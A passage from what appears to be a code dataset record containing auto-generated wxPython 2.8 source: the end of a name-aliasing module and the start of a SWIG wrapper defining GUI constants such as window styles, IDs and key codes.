wx._core.EventLoop_GetActive\nwxEventLoop_SetActive = wx._core.EventLoop_SetActive\nwxEventLoopActivator = wx._core.EventLoopActivator\nwxAcceleratorEntry = wx._core.AcceleratorEntry\nwxAcceleratorTable = wx._core.AcceleratorTable\nwxNullAcceleratorTable = wx._core.NullAcceleratorTable\nwxGetAccelFromString = wx._core.GetAccelFromString\nwxPanelNameStr = wx._core.PanelNameStr\nwxVisualAttributes = wx._core.VisualAttributes\nwxWINDOW_VARIANT_NORMAL = wx._core.WINDOW_VARIANT_NORMAL\nwxWINDOW_VARIANT_SMALL = wx._core.WINDOW_VARIANT_SMALL\nwxWINDOW_VARIANT_MINI = wx._core.WINDOW_VARIANT_MINI\nwxWINDOW_VARIANT_LARGE = wx._core.WINDOW_VARIANT_LARGE\nwxWINDOW_VARIANT_MAX = wx._core.WINDOW_VARIANT_MAX\nwxWindow = wx._core.Window\nwxPreWindow = wx._core.PreWindow\nwxWindow_NewControlId = wx._core.Window_NewControlId\nwxWindow_NextControlId = wx._core.Window_NextControlId\nwxWindow_PrevControlId = wx._core.Window_PrevControlId\nwxWindow_FindFocus = wx._core.Window_FindFocus\nwxWindow_GetCapture = wx._core.Window_GetCapture\nwxWindow_GetClassDefaultAttributes = wx._core.Window_GetClassDefaultAttributes\nwxFindWindowById = wx._core.FindWindowById\nwxFindWindowByName = wx._core.FindWindowByName\nwxFindWindowByLabel = wx._core.FindWindowByLabel\nwxWindow_FromHWND = wx._core.Window_FromHWND\nGetTopLevelWindows = wx._core.GetTopLevelWindows\nwxValidator = wx._core.Validator\nwxValidator_IsSilent = wx._core.Validator_IsSilent\nwxValidator_SetBellOnError = wx._core.Validator_SetBellOnError\nwxPyValidator = wx._core.PyValidator\nwxDefaultValidator = wx._core.DefaultValidator\nwxMenu = wx._core.Menu\nwxMenuBar = wx._core.MenuBar\nwxMenuBar_SetAutoWindowMenu = wx._core.MenuBar_SetAutoWindowMenu\nwxMenuBar_GetAutoWindowMenu = wx._core.MenuBar_GetAutoWindowMenu\nwxMenuItem = wx._core.MenuItem\nwxMenuItem_GetLabelFromText = wx._core.MenuItem_GetLabelFromText\nwxMenuItem_GetDefaultMarginWidth = wx._core.MenuItem_GetDefaultMarginWidth\nwxControlNameStr = wx._core.ControlNameStr\nwxControl = wx._core.Control\nwxPreControl = wx._core.PreControl\nwxControl_GetClassDefaultAttributes = wx._core.Control_GetClassDefaultAttributes\nwxItemContainer = wx._core.ItemContainer\nwxControlWithItems = wx._core.ControlWithItems\nwxSizerItem = wx._core.SizerItem\nwxSizerItemWindow = wx._core.SizerItemWindow\nwxSizerItemSpacer = wx._core.SizerItemSpacer\nwxSizerItemSizer = wx._core.SizerItemSizer\nwxSizer = wx._core.Sizer\nwxPySizer = wx._core.PySizer\nwxBoxSizer = wx._core.BoxSizer\nwxStaticBoxSizer = wx._core.StaticBoxSizer\nwxGridSizer = wx._core.GridSizer\nwxFLEX_GROWMODE_NONE = wx._core.FLEX_GROWMODE_NONE\nwxFLEX_GROWMODE_SPECIFIED = wx._core.FLEX_GROWMODE_SPECIFIED\nwxFLEX_GROWMODE_ALL = wx._core.FLEX_GROWMODE_ALL\nwxFlexGridSizer = wx._core.FlexGridSizer\nwxStdDialogButtonSizer = wx._core.StdDialogButtonSizer\nwxGBPosition = wx._core.GBPosition\nwxGBSpan = wx._core.GBSpan\nwxDefaultSpan = wx._core.DefaultSpan\nwxGBSizerItem = wx._core.GBSizerItem\nwxGBSizerItemWindow = wx._core.GBSizerItemWindow\nwxGBSizerItemSizer = wx._core.GBSizerItemSizer\nwxGBSizerItemSpacer = wx._core.GBSizerItemSpacer\nwxGridBagSizer = wx._core.GridBagSizer\nwxLeft = wx._core.Left\nwxTop = wx._core.Top\nwxRight = wx._core.Right\nwxBottom = wx._core.Bottom\nwxWidth = wx._core.Width\nwxHeight = wx._core.Height\nwxCentre = wx._core.Centre\nwxCenter = wx._core.Center\nwxCentreX = wx._core.CentreX\nwxCentreY = wx._core.CentreY\nwxUnconstrained = wx._core.Unconstrained\nwxAsIs = wx._core.AsIs\nwxPercentOf = wx._core.PercentOf\nwxAbove = wx._core.Above\nwxBelow = wx._core.Below\nwxLeftOf = wx._core.LeftOf\nwxRightOf = wx._core.RightOf\nwxSameAs = wx._core.SameAs\nwxAbsolute = wx._core.Absolute\nwxIndividualLayoutConstraint = wx._core.IndividualLayoutConstraint\nwxLayoutConstraints = wx._core.LayoutConstraints\nwxPyOnDemandOutputWindow = wx._core.PyOnDemandOutputWindow\nwxApp = wx._core.App\nwxGetApp = wx._core.GetApp\nwxPySimpleApp = wx._core.PySimpleApp\nwxPyWidgetTester = wx._core.PyWidgetTester\nwxApp_GetMacSupportPCMenuShortcuts = wx._core.App_GetMacSupportPCMenuShortcuts\nwxApp_GetMacAboutMenuItemId = wx._core.App_GetMacAboutMenuItemId\nwxApp_GetMacPreferencesMenuItemId = wx._core.App_GetMacPreferencesMenuItemId\nwxApp_GetMacExitMenuItemId = wx._core.App_GetMacExitMenuItemId\nwxApp_GetMacHelpMenuTitleName = wx._core.App_GetMacHelpMenuTitleName\nwxApp_SetMacSupportPCMenuShortcuts = wx._core.App_SetMacSupportPCMenuShortcuts\nwxApp_SetMacAboutMenuItemId = wx._core.App_SetMacAboutMenuItemId\nwxApp_SetMacPreferencesMenuItemId = wx._core.App_SetMacPreferencesMenuItemId\nwxApp_SetMacExitMenuItemId = wx._core.App_SetMacExitMenuItemId\nwxApp_SetMacHelpMenuTitleName = wx._core.App_SetMacHelpMenuTitleName\nwxApp_GetComCtl32Version = wx._core.App_GetComCtl32Version\nwxPlatform = wx._core.Platform\nwxPlatformInfo = wx._core.PlatformInfo\nwxUSE_UNICODE = wx._core.USE_UNICODE\nwxVERSION_STRING = wx._core.VERSION_STRING\nwxMAJOR_VERSION = wx._core.MAJOR_VERSION\nwxMINOR_VERSION = wx._core.MINOR_VERSION\nwxRELEASE_VERSION = wx._core.RELEASE_VERSION\nwxSUBREL_VERSION = wx._core.SUBREL_VERSION\nwxVERSION = wx._core.VERSION\nwxPyUnbornObjectError = wx._core.PyUnbornObjectError\nwxPyDeadObjectError = wx._core.PyDeadObjectError\nwxCallAfter = wx._core.CallAfter\nwxFutureCall = wx._core.FutureCall\nwxNotebookPage = wx._core.NotebookPage\nwxPyEventBinder = wx._core.PyEventBinder\nwxDLG_PNT = wx._core.DLG_PNT\nwxDLG_SZE = wx._core.DLG_SZE\nwxPyAssertionError = wx._core.PyAssertionError\nwxMemoryFSHandler_AddFile = wx._core.MemoryFSHandler_AddFile\nwxInitAllImageHandlers = wx._core.InitAllImageHandlers\nwxEVT_SCROLL_ENDSCROLL = wx._core.wxEVT_SCROLL_ENDSCROLL\n\n\nd = globals()\nfor k, v in wx._core.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\n elif k.startswith('WXK'):\n d[k] = v\n elif k.startswith('__version__'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "12524984", "language": "Python", "matching_score": 6.688729763031006, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/_core.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\nimport _core_\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\n#//----------------------------------------------------------------------------\n#// These will be reset when the _wxPySetDictionary is called. Dummy\n#// values are set here for tools that do static source analysis.\nPlatform = \"\"\nPlatformInfo = ()\n\n#// Give a reference to the dictionary of this module to the C++ extension\n#// code.\n_core_._wxPySetDictionary(vars())\n\n#// A little trick to make 'wx' be a reference to this module so wx.Names can\n#// be used here.\nimport sys as _sys\nwx = _sys.modules[__name__]\n\n\n#----------------------------------------------------------------------------\n\ndef _deprecated(callable, msg=None):\n \"\"\"\n Create a wrapper function that will raise a DeprecationWarning\n before calling the callable.\n \"\"\"\n if msg is None:\n msg = \"%s is deprecated\" % callable\n def deprecatedWrapper(*args, **kwargs):\n import warnings\n warnings.warn(msg, DeprecationWarning, stacklevel=2)\n return callable(*args, **kwargs)\n deprecatedWrapper.__doc__ = msg\n return deprecatedWrapper\n \n \n#----------------------------------------------------------------------------\n\nNOT_FOUND = _core_.NOT_FOUND\nVSCROLL = _core_.VSCROLL\nHSCROLL = _core_.HSCROLL\nCAPTION = _core_.CAPTION\nDOUBLE_BORDER = _core_.DOUBLE_BORDER\nSUNKEN_BORDER = _core_.SUNKEN_BORDER\nRAISED_BORDER = _core_.RAISED_BORDER\nBORDER = _core_.BORDER\nSIMPLE_BORDER = _core_.SIMPLE_BORDER\nSTATIC_BORDER = _core_.STATIC_BORDER\nTRANSPARENT_WINDOW = _core_.TRANSPARENT_WINDOW\nNO_BORDER = _core_.NO_BORDER\nDEFAULT_CONTROL_BORDER = _core_.DEFAULT_CONTROL_BORDER\nDEFAULT_STATUSBAR_STYLE = _core_.DEFAULT_STATUSBAR_STYLE\nTAB_TRAVERSAL = _core_.TAB_TRAVERSAL\nWANTS_CHARS = _core_.WANTS_CHARS\nPOPUP_WINDOW = _core_.POPUP_WINDOW\nCENTER_FRAME = _core_.CENTER_FRAME\nCENTRE_ON_SCREEN = _core_.CENTRE_ON_SCREEN\nCENTER_ON_SCREEN = _core_.CENTER_ON_SCREEN\nCLIP_CHILDREN = _core_.CLIP_CHILDREN\nCLIP_SIBLINGS = _core_.CLIP_SIBLINGS\nWINDOW_STYLE_MASK = _core_.WINDOW_STYLE_MASK\nALWAYS_SHOW_SB = _core_.ALWAYS_SHOW_SB\nRETAINED = _core_.RETAINED\nBACKINGSTORE = _core_.BACKINGSTORE\nCOLOURED = _core_.COLOURED\nFIXED_LENGTH = _core_.FIXED_LENGTH\nLB_NEEDED_SB = _core_.LB_NEEDED_SB\nLB_ALWAYS_SB = _core_.LB_ALWAYS_SB\nLB_SORT = _core_.LB_SORT\nLB_SINGLE = _core_.LB_SINGLE\nLB_MULTIPLE = _core_.LB_MULTIPLE\nLB_EXTENDED = _core_.LB_EXTENDED\nLB_OWNERDRAW = _core_.LB_OWNERDRAW\nLB_HSCROLL = _core_.LB_HSCROLL\nPROCESS_ENTER = _core_.PROCESS_ENTER\nPASSWORD = _core_.PASSWORD\nCB_SIMPLE = _core_.CB_SIMPLE\nCB_DROPDOWN = _core_.CB_DROPDOWN\nCB_SORT = _core_.CB_SORT\nCB_READONLY = _core_.CB_READONLY\nRA_HORIZONTAL = _core_.RA_HORIZONTAL\nRA_VERTICAL = _core_.RA_VERTICAL\nRA_SPECIFY_ROWS = _core_.RA_SPECIFY_ROWS\nRA_SPECIFY_COLS = _core_.RA_SPECIFY_COLS\nRA_USE_CHECKBOX = _core_.RA_USE_CHECKBOX\nRB_GROUP = _core_.RB_GROUP\nRB_SINGLE = _core_.RB_SINGLE\nSB_HORIZONTAL = _core_.SB_HORIZONTAL\nSB_VERTICAL = _core_.SB_VERTICAL\nRB_USE_CHECKBOX = _core_.RB_USE_CHECKBOX\nST_SIZEGRIP = _core_.ST_SIZEGRIP\nST_NO_AUTORESIZE = _core_.ST_NO_AUTORESIZE\nST_DOTS_MIDDLE = _core_.ST_DOTS_MIDDLE\nST_DOTS_END = _core_.ST_DOTS_END\nFLOOD_SURFACE = _core_.FLOOD_SURFACE\nFLOOD_BORDER = _core_.FLOOD_BORDER\nODDEVEN_RULE = _core_.ODDEVEN_RULE\nWINDING_RULE = _core_.WINDING_RULE\nTOOL_TOP = _core_.TOOL_TOP\nTOOL_BOTTOM = _core_.TOOL_BOTTOM\nTOOL_LEFT = _core_.TOOL_LEFT\nTOOL_RIGHT = _core_.TOOL_RIGHT\nOK = _core_.OK\nYES_NO = _core_.YES_NO\nCANCEL = _core_.CANCEL\nYES = _core_.YES\nNO = _core_.NO\nNO_DEFAULT = _core_.NO_DEFAULT\nYES_DEFAULT = _core_.YES_DEFAULT\nICON_EXCLAMATION = _core_.ICON_EXCLAMATION\nICON_HAND = _core_.ICON_HAND\nICON_QUESTION = _core_.ICON_QUESTION\nICON_INFORMATION = _core_.ICON_INFORMATION\nICON_STOP = _core_.ICON_STOP\nICON_ASTERISK = _core_.ICON_ASTERISK\nICON_MASK = _core_.ICON_MASK\nICON_WARNING = _core_.ICON_WARNING\nICON_ERROR = _core_.ICON_ERROR\nFORWARD = _core_.FORWARD\nBACKWARD = _core_.BACKWARD\nRESET = _core_.RESET\nHELP = _core_.HELP\nMORE = _core_.MORE\nSETUP = _core_.SETUP\nSIZE_AUTO_WIDTH = _core_.SIZE_AUTO_WIDTH\nSIZE_AUTO_HEIGHT = _core_.SIZE_AUTO_HEIGHT\nSIZE_AUTO = _core_.SIZE_AUTO\nSIZE_USE_EXISTING = _core_.SIZE_USE_EXISTING\nSIZE_ALLOW_MINUS_ONE = _core_.SIZE_ALLOW_MINUS_ONE\nSIZE_FORCE = _core_.SIZE_FORCE\nPORTRAIT = _core_.PORTRAIT\nLANDSCAPE = _core_.LANDSCAPE\nPRINT_QUALITY_HIGH = _core_.PRINT_QUALITY_HIGH\nPRINT_QUALITY_MEDIUM = _core_.PRINT_QUALITY_MEDIUM\nPRINT_QUALITY_LOW = _core_.PRINT_QUALITY_LOW\nPRINT_QUALITY_DRAFT = _core_.PRINT_QUALITY_DRAFT\nID_ANY = _core_.ID_ANY\nID_SEPARATOR = _core_.ID_SEPARATOR\nID_NONE = _core_.ID_NONE\nID_LOWEST = _core_.ID_LOWEST\nID_OPEN = _core_.ID_OPEN\nID_CLOSE = _core_.ID_CLOSE\nID_NEW = _core_.ID_NEW\nID_SAVE = _core_.ID_SAVE\nID_SAVEAS = _core_.ID_SAVEAS\nID_REVERT = _core_.ID_REVERT\nID_EXIT = _core_.ID_EXIT\nID_UNDO = _core_.ID_UNDO\nID_REDO = _core_.ID_REDO\nID_HELP = _core_.ID_HELP\nID_PRINT = _core_.ID_PRINT\nID_PRINT_SETUP = _core_.ID_PRINT_SETUP\nID_PAGE_SETUP = _core_.ID_PAGE_SETUP\nID_PREVIEW = _core_.ID_PREVIEW\nID_ABOUT = _core_.ID_ABOUT\nID_HELP_CONTENTS = _core_.ID_HELP_CONTENTS\nID_HELP_COMMANDS = _core_.ID_HELP_COMMANDS\nID_HELP_PROCEDURES = _core_.ID_HELP_PROCEDURES\nID_HELP_CONTEXT = _core_.ID_HELP_CONTEXT\nID_HELP_INDEX = _core_.ID_HELP_INDEX\nID_HELP_SEARCH = _core_.ID_HELP_SEARCH\nID_CLOSE_ALL = _core_.ID_CLOSE_ALL\nID_PREFERENCES = _core_.ID_PREFERENCES\nID_EDIT = _core_.ID_EDIT\nID_CUT = _core_.ID_CUT\nID_COPY = _core_.ID_COPY\nID_PASTE = _core_.ID_PASTE\nID_CLEAR = _core_.ID_CLEAR\nID_FIND = _core_.ID_FIND\nID_DUPLICATE = _core_.ID_DUPLICATE\nID_SELECTALL = _core_.ID_SELECTALL\nID_DELETE = _core_.ID_DELETE\nID_REPLACE = _core_.ID_REPLACE\nID_REPLACE_ALL = _core_.ID_REPLACE_ALL\nID_PROPERTIES = _core_.ID_PROPERTIES\nID_VIEW_DETAILS = _core_.ID_VIEW_DETAILS\nID_VIEW_LARGEICONS = _core_.ID_VIEW_LARGEICONS\nID_VIEW_SMALLICONS = _core_.ID_VIEW_SMALLICONS\nID_VIEW_LIST = _core_.ID_VIEW_LIST\nID_VIEW_SORTDATE = _core_.ID_VIEW_SORTDATE\nID_VIEW_SORTNAME = _core_.ID_VIEW_SORTNAME\nID_VIEW_SORTSIZE = _core_.ID_VIEW_SORTSIZE\nID_VIEW_SORTTYPE = _core_.ID_VIEW_SORTTYPE\nID_FILE = _core_.ID_FILE\nID_FILE1 = _core_.ID_FILE1\nID_FILE2 = _core_.ID_FILE2\nID_FILE3 = _core_.ID_FILE3\nID_FILE4 = _core_.ID_FILE4\nID_FILE5 = _core_.ID_FILE5\nID_FILE6 = _core_.ID_FILE6\nID_FILE7 = _core_.ID_FILE7\nID_FILE8 = _core_.ID_FILE8\nID_FILE9 = _core_.ID_FILE9\nID_OK = _core_.ID_OK\nID_CANCEL = _core_.ID_CANCEL\nID_APPLY = _core_.ID_APPLY\nID_YES = _core_.ID_YES\nID_NO = _core_.ID_NO\nID_STATIC = _core_.ID_STATIC\nID_FORWARD = _core_.ID_FORWARD\nID_BACKWARD = _core_.ID_BACKWARD\nID_DEFAULT = _core_.ID_DEFAULT\nID_MORE = _core_.ID_MORE\nID_SETUP = _core_.ID_SETUP\nID_RESET = _core_.ID_RESET\nID_CONTEXT_HELP = _core_.ID_CONTEXT_HELP\nID_YESTOALL = _core_.ID_YESTOALL\nID_NOTOALL = _core_.ID_NOTOALL\nID_ABORT = _core_.ID_ABORT\nID_RETRY = _core_.ID_RETRY\nID_IGNORE = _core_.ID_IGNORE\nID_ADD = _core_.ID_ADD\nID_REMOVE = _core_.ID_REMOVE\nID_UP = _core_.ID_UP\nID_DOWN = _core_.ID_DOWN\nID_HOME = _core_.ID_HOME\nID_REFRESH = _core_.ID_REFRESH\nID_STOP = _core_.ID_STOP\nID_INDEX = _core_.ID_INDEX\nID_BOLD = _core_.ID_BOLD\nID_ITALIC = _core_.ID_ITALIC\nID_JUSTIFY_CENTER = _core_.ID_JUSTIFY_CENTER\nID_JUSTIFY_FILL = _core_.ID_JUSTIFY_FILL\nID_JUSTIFY_RIGHT = _core_.ID_JUSTIFY_RIGHT\nID_JUSTIFY_LEFT = _core_.ID_JUSTIFY_LEFT\nID_UNDERLINE = _core_.ID_UNDERLINE\nID_INDENT = _core_.ID_INDENT\nID_UNINDENT = _core_.ID_UNINDENT\nID_ZOOM_100 = _core_.ID_ZOOM_100\nID_ZOOM_FIT = _core_.ID_ZOOM_FIT\nID_ZOOM_IN = _core_.ID_ZOOM_IN\nID_ZOOM_OUT = _core_.ID_ZOOM_OUT\nID_UNDELETE = _core_.ID_UNDELETE\nID_REVERT_TO_SAVED = _core_.ID_REVERT_TO_SAVED\nID_HIGHEST = _core_.ID_HIGHEST\nMENU_TEAROFF = _core_.MENU_TEAROFF\nMB_DOCKABLE = _core_.MB_DOCKABLE\nNO_FULL_REPAINT_ON_RESIZE = _core_.NO_FULL_REPAINT_ON_RESIZE\nFULL_REPAINT_ON_RESIZE = _core_.FULL_REPAINT_ON_RESIZE\nLI_HORIZONTAL = _core_.LI_HORIZONTAL\nLI_VERTICAL = _core_.LI_VERTICAL\nWS_EX_VALIDATE_RECURSIVELY = _core_.WS_EX_VALIDATE_RECURSIVELY\nWS_EX_BLOCK_EVENTS = _core_.WS_EX_BLOCK_EVENTS\nWS_EX_TRANSIENT = _core_.WS_EX_TRANSIENT\nWS_EX_THEMED_BACKGROUND = _core_.WS_EX_THEMED_BACKGROUND\nWS_EX_PROCESS_IDLE = _core_.WS_EX_PROCESS_IDLE\nWS_EX_PROCESS_UI_UPDATES = _core_.WS_EX_PROCESS_UI_UPDATES\nMM_TEXT = _core_.MM_TEXT\nMM_LOMETRIC = _core_.MM_LOMETRIC\nMM_HIMETRIC = _core_.MM_HIMETRIC\nMM_LOENGLISH = _core_.MM_LOENGLISH\nMM_HIENGLISH = _core_.MM_HIENGLISH\nMM_TWIPS = _core_.MM_TWIPS\nMM_ISOTROPIC = _core_.MM_ISOTROPIC\nMM_ANISOTROPIC = _core_.MM_ANISOTROPIC\nMM_POINTS = _core_.MM_POINTS\nMM_METRIC = _core_.MM_METRIC\nCENTRE = _core_.CENTRE\nCENTER = _core_.CENTER\nHORIZONTAL = _core_.HORIZONTAL\nVERTICAL = _core_.VERTICAL\nBOTH = _core_.BOTH\nLEFT = _core_.LEFT\nRIGHT = _core_.RIGHT\nUP = _core_.UP\nDOWN = _core_.DOWN\nTOP = _core_.TOP\nBOTTOM = _core_.BOTTOM\nNORTH = _core_.NORTH\nSOUTH = _core_.SOUTH\nWEST = _core_.WEST\nEAST = _core_.EAST\nALL = _core_.ALL\nALIGN_NOT = _core_.ALIGN_NOT\nALIGN_CENTER_HORIZONTAL = _core_.ALIGN_CENTER_HORIZONTAL\nALIGN_CENTRE_HORIZONTAL = _core_.ALIGN_CENTRE_HORIZONTAL\nALIGN_LEFT = _core_.ALIGN_LEFT\nALIGN_TOP = _core_.ALIGN_TOP\nALIGN_RIGHT = _core_.ALIGN_RIGHT\nALIGN_BOTTOM = _core_.ALIGN_BOTTOM\nALIGN_CENTER_VERTICAL = _core_.ALIGN_CENTER_VERTICAL\nALIGN_CENTRE_VERTICAL = _core_.ALIGN_CENTRE_VERTICAL\nALIGN_CENTER = _core_.ALIGN_CENTER\nALIGN_CENTRE = _core_.ALIGN_CENTRE\nALIGN_MASK = _core_.ALIGN_MASK\nSTRETCH_NOT = _core_.STRETCH_NOT\nSHRINK = _core_.SHRINK\nGROW = _core_.GROW\nEXPAND = _core_.EXPAND\nSHAPED = _core_.SHAPED\nFIXED_MINSIZE = _core_.FIXED_MINSIZE\nRESERVE_SPACE_EVEN_IF_HIDDEN = _core_.RESERVE_SPACE_EVEN_IF_HIDDEN\nTILE = _core_.TILE\nADJUST_MINSIZE = _core_.ADJUST_MINSIZE\nBORDER_DEFAULT = _core_.BORDER_DEFAULT\nBORDER_NONE = _core_.BORDER_NONE\nBORDER_STATIC = _core_.BORDER_STATIC\nBORDER_SIMPLE = _core_.BORDER_SIMPLE\nBORDER_RAISED = _core_.BORDER_RAISED\nBORDER_SUNKEN = _core_.BORDER_SUNKEN\nBORDER_DOUBLE = _core_.BORDER_DOUBLE\nBORDER_THEME = _core_.BORDER_THEME\nBORDER_MASK = _core_.BORDER_MASK\nBG_STYLE_SYSTEM = _core_.BG_STYLE_SYSTEM\nBG_STYLE_COLOUR = _core_.BG_STYLE_COLOUR\nBG_STYLE_CUSTOM = _core_.BG_STYLE_CUSTOM\nDEFAULT = _core_.DEFAULT\nDECORATIVE = _core_.DECORATIVE\nROMAN = _core_.ROMAN\nSCRIPT = _core_.SCRIPT\nSWISS = _core_.SWISS\nMODERN = _core_.MODERN\nTELETYPE = _core_.TELETYPE\nVARIABLE = _core_.VARIABLE\nFIXED = _core_.FIXED\nNORMAL = _core_.NORMAL\nLIGHT = _core_.LIGHT\nBOLD = _core_.BOLD\nITALIC = _core_.ITALIC\nSLANT = _core_.SLANT\nSOLID = _core_.SOLID\nDOT = _core_.DOT\nLONG_DASH = _core_.LONG_DASH\nSHORT_DASH = _core_.SHORT_DASH\nDOT_DASH = _core_.DOT_DASH\nUSER_DASH = _core_.USER_DASH\nTRANSPARENT = _core_.TRANSPARENT\nSTIPPLE = _core_.STIPPLE\nSTIPPLE_MASK = _core_.STIPPLE_MASK\nSTIPPLE_MASK_OPAQUE = _core_.STIPPLE_MASK_OPAQUE\nBDIAGONAL_HATCH = _core_.BDIAGONAL_HATCH\nCROSSDIAG_HATCH = _core_.CROSSDIAG_HATCH\nFDIAGONAL_HATCH = _core_.FDIAGONAL_HATCH\nCROSS_HATCH = _core_.CROSS_HATCH\nHORIZONTAL_HATCH = _core_.HORIZONTAL_HATCH\nVERTICAL_HATCH = _core_.VERTICAL_HATCH\nJOIN_BEVEL = _core_.JOIN_BEVEL\nJOIN_MITER = _core_.JOIN_MITER\nJOIN_ROUND = _core_.JOIN_ROUND\nCAP_ROUND = _core_.CAP_ROUND\nCAP_PROJECTING = _core_.CAP_PROJECTING\nCAP_BUTT = _core_.CAP_BUTT\nCLEAR = _core_.CLEAR\nXOR = _core_.XOR\nINVERT = _core_.INVERT\nOR_REVERSE = _core_.OR_REVERSE\nAND_REVERSE = _core_.AND_REVERSE\nCOPY = _core_.COPY\nAND = _core_.AND\nAND_INVERT = _core_.AND_INVERT\nNO_OP = _core_.NO_OP\nNOR = _core_.NOR\nEQUIV = _core_.EQUIV\nSRC_INVERT = _core_.SRC_INVERT\nOR_INVERT = _core_.OR_INVERT\nNAND = _core_.NAND\nOR = _core_.OR\nSET = _core_.SET\nWXK_BACK = _core_.WXK_BACK\nWXK_TAB = _core_.WXK_TAB\nWXK_RETURN = _core_.WXK_RETURN\nWXK_ESCAPE = _core_.WXK_ESCAPE\nWXK_SPACE = _core_.WXK_SPACE\nWXK_DELETE = _core_.WXK_DELETE\nWXK_START = _core_.WXK_START\nWXK_LBUTTON = _core_.WXK_LBUTTON\nWXK_RBUTTON = _core_.WXK_RBUTTON\nWXK_CANCEL = _core_.WXK_CANCEL\nWXK_MBUTTON = _core_.WXK_MBUTTON\nWXK_CLEAR = _core_.WXK_CLEAR\nWXK_SHIFT = _core_.WXK_SHIFT\nWXK_ALT = _core_.WXK_ALT\nWXK_CONTROL = _core_.WXK_CONTROL\nWXK_MENU = _core_.WXK_MENU\nWXK_PAUSE = _core_.WXK_PAUSE\nWXK_CAPITAL = _core_.WXK_CAPITAL\nWXK_PRIOR = _core_.WXK_PRIOR\nWXK_NEXT = _core_.WXK_NEXT\nWXK_END = _core_.WXK_END\nWXK_HOME = _core_.WXK_HOME\nWXK_LEFT = _core_.WXK_LEFT\nWXK_UP = _core_.WXK_UP\nWXK_RIGHT = _core_.WXK_RIGHT\nWXK_DOWN = _core_.WXK_DOWN\nWXK_SELECT = _core_.WXK_SELECT\nWXK_PRINT = _core_.WXK_PRINT\nWXK_EXECUTE = _core_.WXK_EXECUTE\nWXK_SNAPSHOT = _core_.WXK_SNAPSHOT\nWXK_INSERT = _core_.WXK_INSERT\nWXK_HELP = _core_.WXK_HELP\nWXK_NUMPAD0 = _core_.WXK_NUMPAD0\nWXK_NUMPAD1 = _core_.WXK_NUMPAD1\nWXK_NUMPAD2 = _core_.WXK_NUMPAD2\nWXK_NUMPAD3 = _core_.WXK_NUMPAD3\nWXK_NUMPAD4 = _core_.WXK_NUMPAD4\nWXK_NUMPAD5 = _core_.WXK_NUMPAD5\nWXK_NUMPAD6 = _core_.WXK_NUMPAD6\nWXK_NUMPAD7 = _core_.WXK_NUMPAD7\nWXK_NUMPAD8 = _core_.WXK_NUMPAD8\nWXK_NUMPAD9 = _core_.WXK_NUMPAD9\nWXK_MULTIPLY = _core_.WXK_MULTIPLY\nWXK_ADD = _core_.WXK_ADD\nWXK_SEPARATOR = _core_.WXK_SEPARATOR\nWXK_SUBTRACT = _core_.WXK_SUBTRACT\nWXK_DECIMAL = _core_.WXK_DECIMAL\nWXK_DIVIDE = _core_.WXK_DIVIDE\nWXK_F1 = _core_.WXK_F1\nWXK_F2 = _core_.WXK_F2\nWXK_F3 = _core_.WXK_F3\nWXK_F4 = _core_.WXK_F4\nWXK_F5 = _core_.WXK_F5\nWXK_F6 = _core_.WXK_F6\nWXK_F7 = _core_.WXK_F7\nWXK_F8 = _core_.WXK_F8\nWXK_F9 = _core_.WXK_F9\nWXK_F10 = _core_.WXK_F10\nWXK_F11 = _core_.WXK_F11\nWXK_F12 = _core_.WXK_F12\nWXK_F13 = _core_.WXK_F13\nWXK_F14 = _core_.WXK_F14\nWXK_F15 = _core_.WXK_F15\nWXK_F16 = _core_.WXK_F16\nWXK_F17 = _core_.WXK_F17\nWXK_F18 = _core_.WXK_F18\nWXK_F19 = _core_.WXK_F19\nWXK_F20 = _core_.WXK_F20\nWXK_F21 = _core_.WXK_F21\nWXK_F22 = _core_.WXK_F22\nWXK_F23 = _core_.WXK_F23\nWXK_F24 = _core_.WXK_F24\nWXK_NUMLOCK = _core_.WXK_NUMLOCK\nWXK_SCROLL = _core_.WXK_SCROLL\nWXK_PAGEUP = _core_.WXK_PAGEUP\nWXK_PAGEDOWN = _core_.WXK_PAGEDOWN\nWXK_NUMPAD_SPACE = _core_.WXK_NUMPAD_SPACE\nWXK_NUMPAD_TAB = _core_.WXK_NUMPAD_TAB\nWXK_NUMPAD_ENTER = _core_.WXK_NUMPAD_ENTER\nWXK_NUMPAD_F1 = _core_.WXK_NUMPAD_F1\nWXK_NUMPAD_F2 = _core_.WXK_NUMPAD_F2\nWXK_NUMPAD_F3 = _core_.WXK_NUMPAD_F3\nWXK_NUMPAD_F4 = _core_.WXK_NUMPAD_F4\nWXK_NUMPAD_HOME = _core_.WXK_NUMPAD_HOME\nWXK_NUMPAD_LEFT = _core_.WXK_NUMPAD_LEFT\nWXK_NUMPAD_UP = _core_.WXK_NUMPAD_UP\nWXK_NUMPAD_RIGHT = _core_.WXK_NUMPAD_RIGHT\nWXK_NUMPAD_DOWN = _core_.WXK_NUMPAD_DOWN\nWXK_NUMPAD_PRIOR = _core_.WXK_NUMPAD_PRIOR\nWXK_NUMPAD_PAGEUP = _core_.WXK_NUMPAD_PAGEUP\nWXK_NUMPAD_NEXT = 